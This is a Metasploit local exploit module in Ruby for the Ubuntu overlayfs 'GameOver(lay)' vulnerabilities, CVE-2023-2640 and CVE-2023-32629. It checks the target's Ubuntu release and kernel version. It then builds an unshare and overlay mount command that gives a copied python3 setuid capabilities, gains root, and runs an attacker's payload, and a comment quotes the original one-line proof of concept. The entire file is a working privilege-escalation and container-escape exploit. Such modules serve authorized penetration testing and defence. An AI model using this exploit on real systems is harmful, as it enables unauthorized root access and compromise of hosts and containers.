class MetasploitModule < Msf::Exploit::Local prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'GameOver(lay) Privilege Escalation and Container Escape', 'Description' => %q{ This module exploits the use of unsafe functions in a number of Ubuntu kernels utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is called during ovl_do_setxattr without calling the intermediate safety function vfs_setxattr. Ultimatly this module allows for root access to be achieved by writing setuid capabilities to a file which are not sanitized after being unioned with the upper mounted directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'g1vi', # PoC 'h00die', # Module Suggestion 'bwatters-r7', # MsF Module 'gardnerapp', # MsF Module ], 'Platform' => ['linux', 'unix'], 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2023-07-26', 'References' => [ ['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'], ['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'], ['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'], ['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'], ['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'], ['CVE', '2023-32629'], ['CVE', '2023-2640'] ], 'Targets' => [ [ 'Linux_Binary', { 'Arch' => [ ARCH_AARCH64, ARCH_X64 ], 'PrependSetuid' => true } ], [ 'Linux_Command', { 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "\x22\x27" } } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]) ] end def vuln # Keys are ubuntu versions, vals is list of vunerable kernels { "Lunar Lobster": %w[6.2.0], # Ubuntu 23.04 "Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10 "Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS "Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS "Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS }.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver" end def check return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux' # Must be Ubuntu return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/ os = cmd_exec 'cat /etc/os-release' # grab codename i.e. Focal Fossa codename = os.scan(/\(\w* \w*\)/)[0] # Remove '(' and ')' codename.delete_prefix!('(').delete_suffix!(')') print_status "Detected Ubuntu version: #{codename}" # uname -r # yields something like 5.4.0-1018-blah kernel = kernel_release print_status "Detected kernel version: #{kernel}" # Make sure release is running vunerable kernel # will this return in correct context?? # could scan kernel to prevent looping if return below doesn't work vuln[codename].each do |version| if kernel.include? version return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable" end end return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel') end def exploit pay_dir = datastore['WritableDir'] pay_dir += '/' unless pay_dir.ends_with? '/' pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/' print_status "Creating directory to store payload: #{pay_dir}" mkdir pay_dir directories = [] directories << pay_dir lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' directories << lower_dir upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' directories << upper_dir work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' directories << work_dir merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' directories << merge_dir bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13)) # bash_copy = '/var/tmp/bash' directories.each do |dir| print_status "Creating directory #{dir}" mkdir dir.to_s end if target.arch.first == ARCH_CMD payload_cmd = payload.encoded else pay_file = datastore['PayloadFilename'] payload_path = "#{pay_dir}#{pay_file}" print_status "Writing payload: #{payload_path}" write_file(payload_path, generate_payload_exe) payload_cmd = payload_path end # g1vi original # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'" # Exploit overlayfs vuln # Build the command rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}" exploit_cmd = 'unshare -rm sh -c "' exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; " exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; " exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && " exploit_cmd << "touch #{merge_dir}*; " exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system(" exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && " if target.arch.first == ARCH_CMD payload_cmd.gsub!('\\\\\\', '\\\\\\\\') exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\"" else exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}" end exploit_cmd << "\\\")'\"" output = cmd_exec(exploit_cmd) vprint_status(output) end end